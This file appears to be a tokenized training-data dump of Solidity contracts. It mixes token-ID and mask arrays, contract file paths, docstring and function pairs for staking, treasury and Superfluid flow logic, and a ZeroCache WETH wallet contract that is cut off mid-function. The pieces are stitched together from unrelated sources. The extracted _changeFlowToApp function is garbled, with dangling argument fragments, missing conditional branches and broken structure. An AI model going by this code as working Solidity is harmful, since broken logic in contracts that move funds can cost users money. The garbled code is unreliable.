[ 1, 2610, 2066, 326, 6252, 6026, 1375, 8412, 8338, 4019, 538, 305, 2430, 358, 279, 284, 4610, 358, 2824, 1898, 2430, 18, 18381, 326, 450, 7216, 628, 279, 284, 4610, 18, 3423, 9446, 326, 8897, 628, 279, 284, 4610, 18, 5916, 284, 4610, 310, 1147, 434, 333, 6252, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 4525, 288, 203, 203, 565, 445, 6617, 537, 12, 45, 654, 39, 3462, 389, 2316, 13, 3903, 31, 203, 203, 565, 445, 2366, 2173, 9535, 12, 2867, 389, 26983, 13, 3903, 1476, 1135, 12, 11890, 5034, 1769, 203, 565, 445, 4634, 620, 2173, 9535, 12, 2867, 389, 26983, 13, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 443, 1724, 12, 2867, 389, 26983, 16, 2254, 5034, 389, 8949, 13, 3903, 31, 203, 203, 565, 445, 7516, 12, 2867, 389, 26983, 13, 3903, 31, 203, 203, 565, 445, 598, 9446, 12, 2867, 389, 26983, 16, 2254, 5034, 389, 8949, 13, 3903, 31, 203, 203, 565, 445, 8571, 1345, 1435, 3903, 1476, 1135, 12, 2867, 1769, 203, 97, 203, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/43113/0x26639692ec4bFB0767f505BbEbC871b84C3D4bbE/sources/contracts/SingleStakeFactory_flattened.sol
* @dev Stake tokens. Note: the contract must have sufficient allowance for the staking token. @param _amount amount to stake @return staked amount (may differ from input amount due to e.g., fees)/
function stake(uint256 _amount) public nonReentrant returns (uint256) { _amount = _beforeStake(msg.sender, _amount); totalSupply += _amount; balances[msg.sender] += _amount; stakingToken.safeTransferFrom(msg.sender, address(this), _amount); emit Staked(msg.sender, _amount); return _amount; }
16,909,044
[ 1, 510, 911, 2430, 18, 3609, 30, 326, 6835, 1297, 1240, 18662, 1699, 1359, 364, 326, 384, 6159, 1147, 18, 225, 389, 8949, 3844, 358, 384, 911, 327, 384, 9477, 3844, 261, 24877, 15221, 628, 810, 3844, 6541, 358, 425, 18, 75, 12990, 1656, 281, 13176, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 384, 911, 12, 11890, 5034, 389, 8949, 13, 1071, 1661, 426, 8230, 970, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 389, 8949, 273, 389, 5771, 510, 911, 12, 3576, 18, 15330, 16, 389, 8949, 1769, 203, 3639, 2078, 3088, 1283, 1011, 389, 8949, 31, 203, 3639, 324, 26488, 63, 3576, 18, 15330, 65, 1011, 389, 8949, 31, 203, 3639, 384, 6159, 1345, 18, 4626, 5912, 1265, 12, 3576, 18, 15330, 16, 1758, 12, 2211, 3631, 389, 8949, 1769, 203, 3639, 3626, 934, 9477, 12, 3576, 18, 15330, 16, 389, 8949, 1769, 203, 3639, 327, 389, 8949, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT OR Apache-2.0 // Reproduced from https://etherscan.io/address/0x1bed4009d57fcdc068a489a153601d63ce4b04b2#code under the terms of Apache-2.0 pragma solidity ^0.7.0; import "@openzeppelin/contracts-upgradeable2/proxy/Initializable.sol"; import "@openzeppelin/contracts-upgradeable2/utils/AddressUpgradeable.sol"; /** * @notice A mixin that stores a reference to the Foundation treasury contract. */ abstract contract FoundationTreasuryNode is Initializable { using AddressUpgradeable for address payable; address payable private treasury; /** * @dev Called once after the initial deployment to set the Foundation treasury address. */ function _initializeFoundationTreasuryNode(address payable _treasury) internal initializer { require(_treasury.isContract(), "FoundationTreasuryNode: Address is not a contract"); treasury = _treasury; } /** * @notice Returns the address of the Foundation treasury. */ function getFoundationTreasury() public view returns (address payable) { return treasury; } // `______gap` is added to each mixin to allow adding new data slots or additional mixins in an upgrade-safe way. uint256[2000] private __gap; }
* @notice Returns the address of the Foundation treasury./
function getFoundationTreasury() public view returns (address payable) { return treasury; }
986,038
[ 1, 1356, 326, 1758, 434, 326, 31289, 9787, 345, 22498, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 336, 27788, 56, 266, 345, 22498, 1435, 1071, 1476, 1135, 261, 2867, 8843, 429, 13, 288, 203, 3639, 327, 9787, 345, 22498, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/11155111/0xf1f1885bA386d1AD8941579b317fFaC7fA86EB7B/sources/project_/contracts/agreements/ConstantFlowAgreementV1.sol
apply callbacks call callback call the before callback NOTE: vars.appContext.appCreditUsed will be adjusted by callAppAfterCallback and its range will be [0, currentContext.appCreditGranted] update flow data and account state with the credit delta update sender and receiver deposit (for sender) and owed deposit (for receiver) if receiver super app doesn't have enough available balance to give back app credit revert (non termination callbacks), or take it from the sender and jail the app app goes broke, send the app to jail calculate user's damage user will take the damage if the app is broke, but user's damage is limited to the amount of app credit it gives to the app appCreditDelta should ALWAYS be negative because we are closing an agreement therefore the value will be positive due to the '-' sign in front of it
function _changeFlowToApp( address appToCallback, ISuperfluidToken token, FlowParams memory flowParams, FlowData memory oldFlowData, bytes memory ctx, ISuperfluid.Context memory currentContext, FlowChangeType optype ) private returns (bytes memory newCtx) { newCtx = ctx; _StackVars_changeFlowToApp memory vars; if (appToCallback != address(0)) { AgreementLibrary.CallbackInputs memory cbStates = AgreementLibrary.createCallbackInputs( token, appToCallback, flowParams.flowId, abi.encode(flowParams.sender, flowParams.receiver) ); if (optype == FlowChangeType.CREATE_FLOW) { cbStates.noopBit = SuperAppDefinitions.BEFORE_AGREEMENT_CREATED_NOOP; cbStates.noopBit = SuperAppDefinitions.BEFORE_AGREEMENT_UPDATED_NOOP; cbStates.noopBit = SuperAppDefinitions.BEFORE_AGREEMENT_TERMINATED_NOOP; } vars.cbdata = AgreementLibrary.callAppBeforeCallback(cbStates, ctx); ISuperfluidGovernance gov = ISuperfluidGovernance(ISuperfluid(msg.sender).getGovernance()); (,cbStates.appCreditGranted,) = _changeFlow( currentContext.timestamp, currentContext.appCreditToken, token, flowParams, oldFlowData); ISuperfluid(msg.sender), token, SUPERTOKEN_MINIMUM_DEPOSIT_KEY); ? 0 : AgreementLibrary.max( DEFAULT_MINIMUM_DEPOSIT, minimumDeposit ); cbStates.appCreditGranted = cbStates.appCreditGranted + additionalAppCreditAmount; cbStates.appCreditUsed = oldFlowData.owedDeposit.toInt256(); if (optype == FlowChangeType.CREATE_FLOW) { cbStates.noopBit = SuperAppDefinitions.AFTER_AGREEMENT_CREATED_NOOP; cbStates.noopBit = SuperAppDefinitions.AFTER_AGREEMENT_UPDATED_NOOP; cbStates.noopBit = SuperAppDefinitions.AFTER_AGREEMENT_TERMINATED_NOOP; } (vars.appContext, newCtx) = AgreementLibrary.callAppAfterCallback(cbStates, vars.cbdata, newCtx); (,,vars.newFlowData) = _changeFlow( currentContext.timestamp, currentContext.appCreditToken, token, flowParams, oldFlowData); } { int256 appCreditDelta = vars.appContext.appCreditUsed - oldFlowData.owedDeposit.toInt256(); { vars.newFlowData.deposit = (vars.newFlowData.deposit.toInt256() + appCreditDelta).toUint256(); vars.newFlowData.owedDeposit = (vars.newFlowData.owedDeposit.toInt256() + appCreditDelta).toUint256(); token.updateAgreementData(flowParams.flowId, _encodeFlowData(vars.newFlowData)); _updateAccountFlowState( token, flowParams.sender, currentContext.timestamp ); _updateAccountFlowState( token, flowParams.receiver, currentContext.timestamp ); } if (address(currentContext.appCreditToken) == address(0) || currentContext.appCreditToken == token) { newCtx = ISuperfluid(msg.sender).ctxUseCredit( newCtx, appCreditDelta ); } if (ISuperfluid(msg.sender).isApp(ISuperApp(flowParams.receiver))) { int256 availableBalance; (availableBalance,,) = token.realtimeBalanceOf(flowParams.receiver, currentContext.timestamp); if (availableBalance < 0) { if (optype == FlowChangeType.DELETE_FLOW) { newCtx = ISuperfluid(msg.sender).jailApp( newCtx, ISuperApp(flowParams.receiver), SuperAppDefinitions.APP_RULE_NO_CRITICAL_RECEIVER_ACCOUNT); int256 userDamageAmount = AgreementLibrary.min( -availableBalance, -appCreditDelta); token.settleBalance( flowParams.sender, -userDamageAmount ); token.settleBalance( flowParams.receiver, userDamageAmount ); revert ISuperfluid.APP_RULE(SuperAppDefinitions.APP_RULE_NO_CRITICAL_RECEIVER_ACCOUNT); } } } } }
3,797,133
[ 1, 9010, 6689, 745, 1348, 745, 326, 1865, 1348, 5219, 30, 4153, 18, 2910, 1042, 18, 2910, 16520, 6668, 903, 506, 13940, 635, 745, 3371, 4436, 2428, 471, 2097, 1048, 903, 506, 306, 20, 16, 31184, 18, 2910, 16520, 14570, 65, 1089, 4693, 501, 471, 2236, 919, 598, 326, 12896, 3622, 1089, 5793, 471, 5971, 443, 1724, 261, 1884, 5793, 13, 471, 2523, 329, 443, 1724, 261, 1884, 5971, 13, 309, 5971, 2240, 595, 3302, 1404, 1240, 7304, 2319, 11013, 358, 8492, 1473, 595, 12896, 15226, 261, 5836, 19650, 6689, 3631, 578, 4862, 518, 628, 326, 5793, 471, 525, 671, 326, 595, 595, 13998, 324, 6822, 16, 1366, 326, 595, 358, 525, 671, 4604, 729, 1807, 302, 301, 410, 729, 903, 4862, 326, 302, 301, 410, 309, 326, 595, 353, 324, 6822, 16, 1496, 729, 1807, 302, 301, 410, 353, 13594, 358, 326, 3844, 434, 595, 12896, 518, 14758, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 445, 389, 3427, 5249, 774, 3371, 12, 203, 3639, 1758, 595, 774, 2428, 16, 203, 3639, 467, 8051, 2242, 1911, 1345, 1147, 16, 203, 3639, 9473, 1370, 3778, 4693, 1370, 16, 203, 3639, 9473, 751, 3778, 1592, 5249, 751, 16, 203, 3639, 1731, 3778, 1103, 16, 203, 3639, 467, 8051, 2242, 1911, 18, 1042, 3778, 31184, 16, 203, 3639, 9473, 3043, 559, 2153, 388, 203, 565, 262, 203, 3639, 3238, 203, 3639, 1135, 261, 3890, 3778, 394, 6442, 13, 203, 565, 288, 203, 3639, 394, 6442, 273, 1103, 31, 203, 3639, 389, 2624, 5555, 67, 3427, 5249, 774, 3371, 3778, 4153, 31, 203, 203, 3639, 309, 261, 2910, 774, 2428, 480, 1758, 12, 20, 3719, 288, 203, 5411, 5495, 10606, 9313, 18, 2428, 10059, 3778, 2875, 7629, 273, 5495, 10606, 9313, 18, 2640, 2428, 10059, 12, 203, 7734, 1147, 16, 203, 7734, 595, 774, 2428, 16, 203, 7734, 4693, 1370, 18, 2426, 548, 16, 203, 7734, 24126, 18, 3015, 12, 2426, 1370, 18, 15330, 16, 4693, 1370, 18, 24454, 13, 203, 5411, 11272, 203, 203, 5411, 309, 261, 3838, 388, 422, 9473, 3043, 559, 18, 9344, 67, 17430, 13, 288, 203, 7734, 2875, 7629, 18, 2135, 556, 5775, 273, 14845, 3371, 7130, 18, 19152, 67, 1781, 9719, 3212, 67, 18546, 67, 3417, 3665, 31, 203, 7734, 2875, 7629, 18, 2135, 556, 5775, 273, 14845, 3371, 7130, 18, 19152, 67, 1781, 9719, 3212, 67, 8217, 40, 67, 3417, 3665, 31, 203, 7734, 2875, 7629, 18, 2135, 556, 5775, 273, 14845, 3371, 7130, 18, 19152, 2 ]
pragma solidity ^0.4.25; /******************************************************************************* * * Copyright (c) 2019 Decentralization Authority MDAO. * Released under the MIT License. * * ZeroCache - AmTrust (First Edition) * * ----------------------------------------------------------------- * * !!! WARNING WARNING WARNING !!! * !!! THIS IS HIGHLY EXPERIMENTAL SOFTWARE !!! * !!! USE AT YOUR OWN RISK !!! * * ----------------------------------------------------------------- * * Our team at D14na has been hard at work over the Crypto Winter; * and we are very proud to announce the premier release of a still * experimental, but really fun and social new way to "Do Crypto!" * * TL;DR * ----- * * A meta-currency / smart wallet built for the purpose of promoting * and supporting the core economic needs of the Zeronet community: * 1. Electronic Commerce * 2. Zite Monetization * 3. Wealth Management * * ALL transactions are guaranteed by Solidty contracts managed by a * growing community of federated nodes. * * For more information, please visit: * https://0net.io/zerocache.bit * * Version 19.2.21 * * https://d14na.org * [email protected] */ /******************************************************************************* * * SafeMath */ library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } /******************************************************************************* * * ECRecovery * * Contract function to validate signature of pre-approved token transfers. * (borrowed from LavaWallet) */ contract ECRecovery { function recover(bytes32 hash, bytes sig) public pure returns (address); } /******************************************************************************* * * ERC Token Standard #20 Interface * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md */ contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } /******************************************************************************* * * ApproveAndCallFallBack * * Contract function to receive approval and execute function in one call * (borrowed from MiniMeToken) */ contract ApproveAndCallFallBack { function approveAndCall(address spender, uint tokens, bytes data) public; function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } /******************************************************************************* * * Owned contract */ contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } /******************************************************************************* * * Zer0netDb Interface */ contract Zer0netDbInterface { /* Interface getters. */ function getAddress(bytes32 _key) external view returns (address); function getBool(bytes32 _key) external view returns (bool); function getBytes(bytes32 _key) external view returns (bytes); function getInt(bytes32 _key) external view returns (int); function getString(bytes32 _key) external view returns (string); function getUint(bytes32 _key) external view returns (uint); /* Interface setters. */ function setAddress(bytes32 _key, address _value) external; function setBool(bytes32 _key, bool _value) external; function setBytes(bytes32 _key, bytes _value) external; function setInt(bytes32 _key, int _value) external; function setString(bytes32 _key, string _value) external; function setUint(bytes32 _key, uint _value) external; /* Interface deletes. */ function deleteAddress(bytes32 _key) external; function deleteBool(bytes32 _key) external; function deleteBytes(bytes32 _key) external; function deleteInt(bytes32 _key) external; function deleteString(bytes32 _key) external; function deleteUint(bytes32 _key) external; } /******************************************************************************* * * Wrapped ETH (WETH) Interface */ contract WETHInterface { function() public payable; function deposit() public payable ; function withdraw(uint wad) public; function totalSupply() public view returns (uint); function approve(address guy, uint wad) public returns (bool); function transfer(address dst, uint wad) public returns (bool); function transferFrom(address src, address dst, uint wad) public returns (bool); event Approval(address indexed src, address indexed guy, uint wad); event Transfer(address indexed src, address indexed dst, uint wad); event Deposit(address indexed dst, uint wad); event Withdrawal(address indexed src, uint wad); } /******************************************************************************* * * ERC-165 Interface */ contract ERC165 { function supportsInterface(bytes4 interfaceID) external view returns (bool); } /******************************************************************************* * * ERC-1155 Interface */ // TODO Add interface functions // (see https://github.com/enjin/erc-1155/blob/master/contracts/IERC1155.sol) // (and https://blog.enjincoin.io/erc-1155-the-crypto-item-standard-ac9cf1c5a226) /******************************************************************************* * * @notice ZeroCache DOES NOT HOLD ANY "OFFICIAL" AFFILIATION with ZeroNet Core, * ZeroNet.io nor any of its brands and affiliates. * * ZeroCache IS THE "OFFICIAL" META-CURRENCY OF THE GROWING COMMUNITY * OF ZER0NET-SPONSORED PRODUCTS AND SERVICES. * * @dev In conjunction with the ZeroCache Daemon, this contract manages the * ability to dynamically allocate the assets of a "smart" crypto wallet, * in real-time, based on a user's pre-selected financial profile. * * Initial support for the following cryptos: * - Ethereum (WETH) : HODL as a long-term growth investment. * - MakerDAO (DAI) : SPEDN on digital goods and services. * - ZeroGold (0GOLD) : STAEK to access premium features and services. */ contract ZeroCache is Owned { using SafeMath for uint; /* Initialize predecessor contract. */ address private _predecessor; /* Initialize successor contract. */ address private _successor; /* Initialize revision number. */ uint private _revision; /* Initialize Zer0net Db contract. */ Zer0netDbInterface private _zer0netDb; /* Initialize account balances. */ mapping(address => mapping (address => uint)) private _balances; /* Initialize expired signature flags. */ mapping(bytes32 => bool) private _expiredSignatures; /* Initialize revision depth. */ // NOTE: Allows for balance and transaction aggregation // from legacy ZeroCache contract instance(s). // FIXME Determine the MAXIMUM depth and set here. // Estimated to be between 100-200 uint private _MAX_REVISION_DEPTH = 0; event Deposit( address indexed token, address owner, uint tokens, bytes data ); event Migrate( address indexed token, address owner, uint tokens ); event Skipped( address sender, address receiver, address token, uint tokens ); event Staek( address sender, address staekholder, uint tokens ); event Transfer( address indexed token, address sender, address receiver, uint tokens ); event Withdraw( address indexed token, address owner, uint tokens ); /*************************************************************************** * * Constructor */ constructor() public { /* Set predecessor address. */ _predecessor = 0x0; /* Verify predecessor address. */ if (_predecessor != 0x0) { /* Retrieve the last revision number (if available). */ uint lastRevision = ZeroCache(_predecessor).getRevision(); /* Set (current) revision number. */ _revision = lastRevision + 1; } /* Initialize Zer0netDb (eternal) storage database contract. */ // NOTE We hard-code the address here, since it should never change. _zer0netDb = Zer0netDbInterface(0xE865Fe1A1A3b342bF0E2fcB11fF4E3BCe58263af); } /** * @dev Only allow access to an authorized Zer0net administrator. */ modifier onlyAuthBy0Admin() { /* Verify write access is only permitted to authorized accounts. */ require(_zer0netDb.getBool(keccak256( abi.encodePacked(msg.sender, '.has.auth.for.zerocache'))) == true); _; // function code is inserted here } /** * Fallback (default) * * Accepts direct ETH transfers to be wrapped for owner into one of the * canonical Wrapped ETH (WETH) contracts: * - Mainnet : 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 * - Ropsten : 0xc778417E063141139Fce010982780140Aa0cD5Ab * - Kovan : 0xd0A1E359811322d97991E03f863a0C30C2cF029C * - Rinkeby : 0xc778417E063141139Fce010982780140Aa0cD5Ab * (source https://blog.0xproject.com/canonical-weth-a9aa7d0279dd) * * NOTE: We are forced to hard-code all possible network contract * (addresses) into this fallback since the WETH contract * DOES NOT provide enough gas for us to lookup the * specific address for our network. * * NOTE: This contract requires ~50k gas to wrap ETH using the * fallback/wrap functions. However, it will require ~80k * to initialize on first-use. */ function () public payable { /* Initialize WETH contract flag. */ bool isWethContract = false; /* Initialize WETH contracts array. */ address[4] memory contracts; /* Set Mainnet. */ contracts[0] = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; /* Set Ropsten. */ contracts[1] = 0xc778417E063141139Fce010982780140Aa0cD5Ab; /* Set Kovan. */ contracts[2] = 0xd0A1E359811322d97991E03f863a0C30C2cF029C; /* Set Rinkeby. */ contracts[3] = 0xc778417E063141139Fce010982780140Aa0cD5Ab; /* Loop through all network contracts. */ for (uint i = 0; i < contracts.length; i++) { /* Validate sender. */ if (msg.sender == contracts[i]) { /* Set flag. */ isWethContract = true; } } /* DO NOT (re-)wrap incoming ETH from Wrapped ETH contract. */ if (!isWethContract) { _wrap(msg.sender); } } /*************************************************************************** * * ACTIONS * */ /** * Wrap */ function wrap() external payable returns (bool success) { /* Return wrap success. */ return _wrap(msg.sender); } /** * Wrap * * NOTE: This function is primarily used to support instance * migration(s) of WETH. */ function wrap( address _owner ) external payable returns (bool success) { return _wrap(_owner); } /** * Wrap * * Send Ether into this method. It gets wrapped and then deposited * in this contract as a token balance assigned to the sender. */ function _wrap( address _owner ) private returns (bool success) { /* Set WETH address. */ address wethAddress = _weth(); /* Forward this payable ether into the wrapping contract. */ // NOTE: Transfer ETH before balance credit to prevent re-entry attack. success = wethAddress.call .gas(200000) .value(msg.value) (abi.encodeWithSignature("deposit()")); /* Validate transfer. */ if (success) { /* Increase WETH balance by sent value. */ _balances[wethAddress][_owner] = _balances[wethAddress][_owner].add(msg.value); /* Initialize empty data (for event log). */ bytes memory data; /* Broadcast event. */ emit Deposit( wethAddress, _owner, msg.value, data ); } else { /* Report error. */ revert('An error occurred while wrapping your ETH.'); } } /** * Unwrap */ function unwrap( uint _tokens ) public returns (bool success) { return _unwrap(msg.sender, _tokens); } /** * Unwrap * * We allow administrative unwrapping of WETH held * in the ZeroCache, FOR COMPLIANCE PURPOSES ONLY. * * NOTE: This function is reserved for exclusive use by * Zer0net Administration ONLY. * * Tokens unwrapped by an administrator can * ONLY be transferred to the ORIGINAL owner. */ function unwrap( address _owner, uint _tokens ) onlyAuthBy0Admin external returns (bool success) { return _unwrap(_owner, _tokens); } /** * Unwrap * * Allows an owner to unwrap their Ether from the * canonical WETH contract. */ function _unwrap( address _owner, uint _tokens ) private returns (bool success) { /* Set WETH address. */ address wethAddress = _weth(); /* Validate balance. */ if (_balances[wethAddress][_owner] < _tokens) { revert('Oops! You DO NOT have enough WETH.'); } /* Decrease WETH balance by sent value. */ // NOTE: Decrease balance before transfer to prevent re-entry attack. _balances[wethAddress][_owner] = _balances[wethAddress][_owner].sub(_tokens); /* Withdraw ETH from Wrapper contract. */ success = wethAddress.call .gas(200000) (abi.encodeWithSignature("withdraw(uint256)", _tokens)); /* Validate withdrawal. */ if (success) { /* Transfer "unwrapped" Ether (ETH) back to owner. */ 